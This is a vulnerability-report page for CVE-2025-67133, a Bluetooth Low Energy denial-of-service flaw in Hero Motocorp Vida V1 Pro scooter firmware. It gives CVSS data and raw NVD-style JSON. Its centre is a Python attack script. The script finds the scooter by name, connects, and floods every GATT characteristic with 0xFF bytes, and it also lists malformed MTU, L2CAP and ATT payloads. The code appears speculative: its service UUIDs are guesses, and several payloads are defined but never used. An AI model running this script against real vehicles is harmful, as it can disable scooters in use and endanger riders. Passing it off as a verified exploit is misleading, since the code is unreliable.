Security Vulnerability Report
中文
CVE-2025-67133 CVSS 7.5 HIGH

CVE-2025-67133

Published: 2026-01-09 16:16:07
Last Modified: 2026-04-14 15:16:25

Description

An issue in Hero Motocorp Vida V1 Pro 2.0.7 allows a local attacker to cause a denial of service via the BLE component

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:heromotocorp:vida_v1_pro_firmware:2.0.7:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:heromotocorp:vida_v1_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Hero Motocorp Vida V1 Pro 固件版本 2.0.7(确认受影响)
Hero Motocorp Vida V1 Pro 固件版本 2.0.7之前版本(可能受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67133 PoC - Hero Motocorp Vida V1 Pro BLE DoS This PoC demonstrates how to trigger a denial of service in the BLE component of Hero Motocorp Vida V1 Pro (firmware 2.0.7) via malformed BLE connection requests. WARNING: This code is for educational and authorized security testing purposes only. Unauthorized use against systems you do not own or have permission to test is illegal. """ from bleak import BleakClient from bleak import BleakScanner import asyncio import struct import time TARGET_DEVICE_NAME = "Vida V1 Pro" # Common BLE service UUIDs that might be used by Vida V1 Pro POTENTIAL_SERVICE_UUIDS = [ "6E400001-B5A3-F393-E0A9-E50E24DCCA9E", # Nordic UART Service "0000FE00-0000-1000-8000-00805F9B34FB", # Custom Vida Service ] async def find_target_device(): """Scan for the target Vida V1 Pro device""" print("[*] Scanning for BLE devices...") devices = await BleakScanner.discover(timeout=5.0) for device in devices: if device.name and TARGET_DEVICE_NAME in device.name: print(f"[+] Found target device: {device.name} ({device.address})") return device print("[-] Target device not found") return None async def send_malformed_packets(address): """ Send malformed BLE connection requests to trigger DoS This exploits insufficient input validation in the BLE stack """ print(f"[*] Attempting to send malformed BLE packets to {address}") # Malformed packet 1: Excessively long MTU request malformed_mtu = bytes([0x02, 0x00, 0xFF, 0xFF, 0xFF]) # Invalid MTU size # Malformed packet 2: Corrupted attribute handle request malformed_handle = bytes([0x0A, 0x00, 0x10, 0x00, 0x00, 0x00, 0xFF, 0xFF]) try: async with BleakClient(address) as client: print("[+] Connected to device") # Try to enumerate services (may trigger vulnerability) services = await client.get_services() print(f"[*] Found {len(services.characteristics)} characteristics") # Send malformed write requests to each characteristic for service in services: for char in service.characteristics: try: # Write large amount of data to trigger overflow large_data = b'\xFF' * 1000 await client.write_gatt_char(char.uuid, large_data) except Exception as e: pass print("[+] Malformed packets sent") except Exception as e: print(f"[!] Error during attack: {e}") def generate_dos_payload(): """ Generate various DoS payloads for BLE protocol fuzzing """ payloads = [] # Payload 1: Giant MTU size payloads.append({ "type": "MTU_EXCEED", "data": bytes([0x02, 0x00]) + bytes([0xFF] * 512), "description": "Request MTU size exceeding buffer limits" }) # Payload 2: Fragmented malformed L2CAP packet payloads.append({ "type": "L2CAP_FRAGMENT", "data": bytes([0x08, 0x00, 0x01, 0x00, 0xFF] * 50), "description": "Malformed fragmented L2CAP packet" }) # Payload 3: Invalid ATT opcode payloads.append({ "type": "INVALID_OPCODE", "data": bytes([0xFF, 0xFF, 0xFF, 0xFF]), "description": "Invalid ATT protocol opcode" }) return payloads async def main(): print("=" * 60) print("CVE-2025-67133 PoC - Vida V1 Pro BLE DoS") print("=" * 60) # Find target device target = await find_target_device() if target: print(f"[*] Target found at {target.address}") print("[*] Sending malformed packets...") await send_malformed_packets(target.address) else: print("[-] Please ensure the Vida V1 Pro device is in range and BLE is enabled") if __name__ == "__main__": asyncio.run(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67133", "sourceIdentifier": "[email protected]", "published": "2026-01-09T16:16:07.037", "lastModified": "2026-04-14T15:16:24.943", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Hero Motocorp Vida V1 Pro 2.0.7 allows a local attacker to cause a denial of service via the BLE component"}, {"lang": "es", "value": "Un problema en Hero Motocorp Vida V1 Pro 2.0.7 permite a un atacante local causar una denegación de servicio a través del componente BLE."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:heromotocorp:vida_v1_pro_firmware:2.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "0E0A978F-CFCC-42C0-9B25-448FE52BACBD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:heromotocorp:vida_v1_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "B76066CE-A89C-4FA0-B885-9CE573A8224F"}]}]}], "references": [{"url": "https://threadpoolx.gitbook.io/docs/cve/cve-2025-67133-denial-of-service-via-unauthenticated-ble-connection", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vidaworld.com/", "source": "[email protected]"}]}}